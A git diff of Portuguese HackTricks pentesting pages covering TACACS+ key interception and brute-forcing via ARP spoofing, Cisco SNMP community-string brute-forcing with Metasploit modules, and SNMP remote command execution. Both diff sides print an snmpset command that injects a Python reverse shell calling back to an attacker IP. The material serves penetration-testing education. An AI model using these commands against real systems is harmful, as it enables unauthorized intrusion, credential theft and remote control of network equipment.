Se um atacante conseguir se posicionar entre o cliente e o servidor TACACS, **ele pode interceptar a chave de autenticação** em forma criptografada e, em seguida, realizar um bruteforce local contra ela. Assim, você realiza o bruteforce da chave e não aparece nos logs. E se você conseguir realizar o bruteforce da chave, **terá acesso ao equipamento de rede e poderá descriptografar o tráfego** no **Wireshark**.
|
Se a comunicação entre o cliente e o servidor TACACS for interceptada por um atacante, a **chave de autenticação criptografada pode ser interceptada**. O atacante pode então tentar um **ataque de força bruta local contra a chave sem ser detectado nos logs**. Se for bem-sucedido no ataque de força bruta à chave, o atacante ganha acesso ao equipamento de rede e pode descriptografar o tráfego usando ferramentas como o Wireshark.
|
||||||
|
|
||||||
### MitM
|
### Realizando um Ataque MitM
|
||||||
|
|
||||||
Para realizar um ataque MitM, você pode usar um [**ataque de ARP spoofing**](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing).
|
Um **ataque de spoofing ARP pode ser utilizado para realizar um ataque Man-in-the-Middle (MitM)**.
|
||||||
|
|
||||||
### Brute-force da Chave
|
### Força Bruta na Chave
|
||||||
|
|
||||||
Agora você precisa executar o [Loki](https://c0decafe.de/svn/codename_loki/trunk/). Esta é uma ferramenta especial projetada para analisar a segurança dos protocolos L2/L3. Suas capacidades são tão boas quanto as do popular **Yersinia** e é um sério concorrente dele. O Loki também pode realizar bruteforce em chaves TACACS. Se a chave for **bruteforced com sucesso** (**geralmente em formato criptografado MD5)**, **poderemos acessar o equipamento e descriptografar o tráfego criptografado pelo TACACS.**
|
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) pode ser usado para forçar a chave:
|
||||||
```
|
```
|
||||||
sudo loki_gtk.py
|
sudo loki_gtk.py
|
||||||
```
|
```
|
||||||
```markdown
|
Se a chave for **bruteforced** com sucesso (**geralmente em formato criptografado MD5)**, **podemos acessar o equipamento e descriptografar o tráfego encriptado TACACS.**
|
||||||
Você também precisa especificar o caminho para o dicionário para fazer bruteforce na chave criptografada. Certifique-se de desmarcar a opção **Use Bruteforce**, caso contrário, o Loki fará bruteforce na senha sem usar o dicionário.
|
|
||||||
|
|
||||||
Agora temos que esperar que um administrador faça login no dispositivo através do servidor TACACS. Presume-se que o administrador da rede já tenha feito login, e nós, **interceptando o tráfego via ARP spoofing**, interceptamos o tráfego. E ao fazer isso, os hosts legítimos não percebem que alguém interferiu em sua conexão.
|
### Descriptografando o Tráfego
|
||||||
|
Uma vez que a chave seja quebrada com sucesso, o próximo passo é **descriptografar o tráfego encriptado TACACS**. O Wireshark pode lidar com tráfego TACACS encriptado se a chave for fornecida. Ao analisar o tráfego descriptografado, informações como o **banner utilizado e o nome de usuário do administrador** podem ser obtidas.
|
||||||
|
|
||||||
Agora clique no botão **CRACK** e espere o **Loki** quebrar a senha.
|
Ao ganhar acesso ao painel de controle do equipamento de rede usando as credenciais obtidas, o atacante pode exercer controle sobre a rede. É importante notar que essas ações são estritamente para fins educacionais e não devem ser usadas sem a devida autorização.
|
||||||
|
|
||||||
### Descriptografar Tráfego
|
|
||||||
|
|
||||||
Ótimo, conseguimos desbloquear a chave, agora precisamos descriptografar o tráfego TACACS. Como eu disse, o Wireshark pode lidar com tráfego TACACS criptografado se a chave estiver presente.
|
|
||||||
|
|
||||||
Vemos qual banner foi usado.
|
|
||||||
|
|
||||||
Encontramos o nome de usuário do usuário `admin`
|
|
||||||
|
|
||||||
Como resultado, **temos as credenciais `admin:secret1234`,** que podem ser usadas para acessar o próprio hardware. **Acho que vou verificar a validade delas.**
|
|
||||||
|
|
||||||
É assim que você pode atacar TACACS+ e **ganhar acesso** ao painel de controle do equipamento de rede.
|
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
* A seção de interceptação de chave foi copiada de [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**merchandising oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
```
|
|
||||||
|
|
|
@ -4,72 +4,59 @@
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Trabalha numa **empresa de cibersegurança**? Quer ver a sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe suas técnicas de hacking enviando PRs para o repositório [hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Esta página foi copiada de [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
# Pentesting em Redes Cisco
|
||||||
|
|
||||||
## Exfiltração de configuração e enumeração via SNMP <a href="#e21c" id="e21c"></a>
|
SNMP é um protocolo usado para monitorar o status de dispositivos em uma rede de computadores. Opera no protocolo de camada de transporte UDP com os números de porta 161/UDP e 162/UDP.
|
||||||
|
|
||||||
**SNMP (Simple Network Management Protocol)** é um protocolo que permite monitorar o status de dispositivos em uma rede de computadores. Pode ser equipamento de rede, telefones IP, servidores corporativos ou qualquer outra coisa.
|
SNMP utiliza strings de comunidade, que atuam como senhas para comunicação entre agentes SNMP e servidores. Essas strings de comunidade concedem permissões **somente de leitura (RO) ou de leitura e escrita (RW)**. Pentesters podem explorar SNMP **forçando a bruta das strings de comunidade** para ganhar acesso ao equipamento de rede.
|
||||||
|
|
||||||
**SNMP usa o protocolo de camada de transporte UDP com números de porta 161/UDP e 162/UDP.** As chamadas strings de comunidade são usadas para se referir a agentes SNMP para o servidor. Estas são, digamos, senhas especiais para se comunicar com o servidor SNMP. **As strings de comunidade têm permissões de apenas leitura (RO) ou leitura e gravação (RW).**
|
Para realizar um ataque de força bruta em strings de comunidade é possível usar **[onesixtyone](https://github.com/trailofbits/onesixtyone)**. Esta ferramenta requer um dicionário para a força bruta e os endereços IP dos hosts alvo:
|
||||||
|
|
||||||
**Na verdade, SNMP não só pode monitorar o status do equipamento, mas também gerenciá-lo completamente: despejar configurações, alterar a configuração, etc.** Se um pentester pode procurar o valor das strings de comunidade, ele realmente ganha acesso ao equipamento. **No entanto, tudo depende de qual string ele bruteforceou - para a string de comunidade RO ou RW.**
|
|
||||||
|
|
||||||
**A força bruta das strings de comunidade pode ser implementada usando a** [**onesixtyone**](https://github.com/trailofbits/onesixtyone) **utilidade.** Ele receberá como entrada o dicionário para força bruta e os endereços IP dos hosts de destino. Os alvos serão:
|
|
||||||
|
|
||||||
* **10.10.100.10 - Switch Cisco vIOS**
|
|
||||||
* **10.10.100.254 - Roteador Cisco vIOS**
|
|
||||||
```
|
|
||||||
~$ onesixtyone -c communitystrings -i targets
|
|
||||||
```
|
|
||||||
Descobrimos quais são as strings de comunidade usadas nesses dispositivos. Isso abre caminho para a exploração.
|
|
||||||
|
|
||||||
### 8.1 cisco\_config\_tftp <a href="#1dbf" id="1dbf"></a>
|
|
||||||
|
|
||||||
Com o framework Metasploit, nomeadamente o módulo **cisco\_config\_tftp**, é possível obter a configuração do dispositivo, conhecendo o valor da string de comunidade. A string que tem direitos de leitura e escrita é **private**.
|
|
||||||
|
|
||||||
Será necessário o seguinte:
|
|
||||||
|
|
||||||
* **String de comunidade de leitura e escrita (COMMUNITY)**
|
|
||||||
* **Endereço IP do atacante (LHOST)**
|
|
||||||
* **Endereço IP do equipamento alvo (RHOSTS)**
|
|
||||||
* **O caminho no qual o módulo produz a configuração do dispositivo (OUTPUTDIR)**
|
|
||||||
```bash
|
```bash
|
||||||
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set COMMUNITY private
|
onesixtyone -c communitystrings -i targets
|
||||||
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set RHOSTS 10.10.100.10
|
|
||||||
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set LHOST 10.10.100.50
|
|
||||||
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set OUTPUTDIR /home/necreas1ng/snmp
|
|
||||||
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > exploit
|
|
||||||
```
|
```
|
||||||
Depois de iniciar o módulo, a configuração do host com o endereço 10.10.100.10 (10.10.100.10.txt) será baixada na pasta especificada.
|
Se as **strings da comunidade forem descobertas**, a exploração adicional torna-se possível.
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (223).png>)
|
### `cisco_config_tftp`
|
||||||
|
|
||||||
### 8.2 snmp\_enum <a href="#3429" id="3429"></a>
|
Usando o módulo `cisco_config_tftp` no framework Metasploit, a **configuração do dispositivo** pode ser obtida conhecendo o valor da string da comunidade. A string da comunidade com **permissões de leitura e escrita (RW) é necessária**.
|
||||||
|
|
||||||
Com este módulo, você pode descobrir informações sobre o hardware do alvo. Tudo é exatamente o mesmo: especifique a **COMMUNITY** (aliás, até mesmo uma string com permissões **RO** servirá) e o endereço IP do dispositivo de destino.
|
Os seguintes parâmetros são necessários:
|
||||||
|
|
||||||
|
- String da comunidade RW (COMMUNITY)
|
||||||
|
- Endereço IP do atacante (LHOST)
|
||||||
|
- Endereço IP do equipamento alvo (RHOSTS)
|
||||||
|
- Caminho para o diretório de saída da configuração do dispositivo (OUTPUTDIR)
|
||||||
|
|
||||||
|
Após configurar o módulo, o exploit pode ser iniciado. A configuração do host com o endereço IP especificado será baixada para a pasta designada.
|
||||||
|
|
||||||
|
### `snmp_enum`
|
||||||
|
|
||||||
|
O módulo **`snmp_enum` no framework Metasploit permite a recuperação de informações sobre o hardware alvo**. Semelhante ao módulo anterior, o parâmetro COMMUNITY (mesmo uma string com permissões de somente leitura) e o endereço IP do dispositivo alvo são necessários:
|
||||||
```bash
|
```bash
|
||||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
||||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
||||||
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
||||||
```
|
```
|
||||||
<figure><img src="../../.gitbook/assets/image (218).png" alt=""><figcaption></figcaption></figure>
|
# Referências
|
||||||
|
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -8,54 +8,40 @@ Outras formas de apoiar o HackTricks:
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
# SNMP RCE
|
||||||
|
|
||||||
Este post foi copiado de [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
|
O SNMP pode ser explorado por um atacante se o administrador não prestar atenção à configuração padrão do dispositivo ou servidor. Ao **abusar da comunidade SNMP com permissões de escrita (rwcommunity)** em um sistema operacional Linux, o atacante pode executar comandos no servidor.
|
||||||
|
|
||||||
O SNMP é por vezes negligenciado pelo administrador do dispositivo ou servidor onde é deixado numa configuração padrão. A comunidade SNMP com permissões de escrita (**rwcommunity**) no sistema operacional Linux pode ser explorada para permitir que o atacante execute um comando no servidor.
|
## Estendendo Serviços com Comandos Adicionais
|
||||||
|
|
||||||
![](https://rioasmara.files.wordpress.com/2021/02/image-6.png?w=508)
|
Para estender os serviços SNMP e adicionar comandos extras, é possível anexar novas **linhas à tabela "nsExtendObjects"**. Isso pode ser alcançado usando o comando `snmpset` e fornecendo os parâmetros necessários, incluindo o caminho absoluto para o executável e o comando a ser executado:
|
||||||
|
|
||||||
# **Extendendo os Serviços**
|
|
||||||
|
|
||||||
Embora você não possa modificar entradas existentes que foram configuradas no **snmpd.conf**, é possível adicionar comandos adicionais via SNMP, porque a configuração de permissão “MAX-ACCESS” na definição MIB está definida como “**read-create**”
|
|
||||||
|
|
||||||
Adicionar um novo comando basicamente funciona anexando uma linha adicional à tabela “**nsExtendObjects**”.
|
|
||||||
```bash
|
```bash
|
||||||
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
|
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
|
||||||
'nsExtendStatus."evilcommand"' = createAndGo \
|
'nsExtendStatus."evilcommand"' = createAndGo \
|
||||||
'nsExtendCommand."evilcommand"' = /bin/echo \
|
'nsExtendCommand."evilcommand"' = /bin/echo \
|
||||||
'nsExtendArgs."evilcommand"' = 'hello world'
|
'nsExtendArgs."evilcommand"' = 'hello world'
|
||||||
```
|
```
|
||||||
Injetando um comando para ser executado no serviço SNMP. **NET-SNMP-EXTEND-MIB** exige que você sempre forneça o caminho absoluto para o executável. O binário/script chamado também deve existir e ser executável.
|
## Injeção de Comandos para Execução
|
||||||
|
|
||||||
![](https://rioasmara.files.wordpress.com/2021/02/image-15.png?w=916)
|
Injetar comandos para serem executados no serviço SNMP requer a existência e a possibilidade de execução do binário/script chamado. O **`NET-SNMP-EXTEND-MIB`** exige o fornecimento do caminho absoluto para o executável.
|
||||||
|
|
||||||
Executando o comando que injetamos no SNMP ao enumerá-lo usando snmpwalk
|
Para confirmar a execução do comando injetado, o comando `snmpwalk` pode ser usado para enumerar o serviço SNMP. **O resultado exibirá o comando e seus detalhes associados**, incluindo o caminho absoluto:
|
||||||
```bash
|
```bash
|
||||||
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
|
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
|
||||||
```
|
```
|
||||||
Mostrando que o comando é /bin/echo.
|
## Executando os Comandos Injetados
|
||||||
|
|
||||||
![](https://rioasmara.files.wordpress.com/2021/02/image-11.png?w=569)
|
Quando o **comando injetado é lido, ele é executado**. Esse comportamento é conhecido como **`run-on-read()`**. A execução do comando pode ser observada durante a leitura do snmpwalk.
|
||||||
|
|
||||||
O comando será executado quando for lido. **run-on-read\(\)**
|
### Obtendo Shell do Servidor com SNMP
|
||||||
|
|
||||||
![](https://rioasmara.files.wordpress.com/2021/02/image-12.png?w=612)
|
Para ganhar controle sobre o servidor e obter um shell do servidor, um script em python desenvolvido por mxrch pode ser utilizado a partir de [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git).
|
||||||
|
|
||||||
O comando **/bin/echo "hello rio is here"** foi executado durante nossa leitura snmpwalk
|
|
||||||
|
|
||||||
![](https://rioasmara.files.wordpress.com/2021/02/image-13.png?w=653)
|
|
||||||
|
|
||||||
# **Obtendo o Shell** **do Net-SNMP Extend**
|
|
||||||
|
|
||||||
Nesta seção, gostaria de discutir como obter um shell de servidor para controlar o servidor.
|
|
||||||
|
|
||||||
Você pode usar o script python desenvolvido por **mxrch** que pode ser baixado de [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)
|
|
||||||
|
|
||||||
|
Alternativamente, um shell reverso pode ser criado manualmente injetando um comando específico no SNMP. Esse comando, acionado pelo snmpwalk, estabelece uma conexão de shell reverso com a máquina do atacante, permitindo controle sobre a máquina vítima.
|
||||||
Você pode instalar o pré-requisito para executar isso:
|
Você pode instalar o pré-requisito para executar isso:
|
||||||
```bash
|
```bash
|
||||||
sudo apt install snmp snmp-mibs-downloader rlwrap -y
|
sudo apt install snmp snmp-mibs-downloader rlwrap -y
|
||||||
|
@ -63,24 +49,13 @@ git clone https://github.com/mxrch/snmp-shell
|
||||||
cd snmp-shell
|
cd snmp-shell
|
||||||
sudo python3 -m pip install -r requirements.txt
|
sudo python3 -m pip install -r requirements.txt
|
||||||
```
|
```
|
||||||
![](https://rioasmara.files.wordpress.com/2021/02/image-18.png?w=723)
|
Ou um shell reverso:
|
||||||
|
|
||||||
**Criando shell reverso**
|
|
||||||
|
|
||||||
Você também pode criar um shell reverso manualmente injetando o comando abaixo no SNMP
|
|
||||||
```bash
|
```bash
|
||||||
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
|
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
|
||||||
```
|
```
|
||||||
```
|
# Referências
|
||||||
execute o snmpwalk para acionar a execução do comando
|
* [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
|
||||||
|
|
||||||
![](https://rioasmara.files.wordpress.com/2021/02/image-19.png?w=930)
|
|
||||||
|
|
||||||
Nosso netcat recebe a conexão reverseshell da vítima que nos permite ganhar controle sobre a máquina da vítima
|
|
||||||
|
|
||||||
![](https://rioasmara.files.wordpress.com/2021/02/image-21.png?w=687)
|
|
||||||
|
|
||||||
![](https://rioasmara.files.wordpress.com/2021/02/image-20.png?w=502)
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -91,8 +66,7 @@ Outras formas de apoiar o HackTricks:
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
```
|
|
||||||
|
|
|
@ -1,23 +1,24 @@
|
||||||
# Desserialização
|
# Deserialização
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
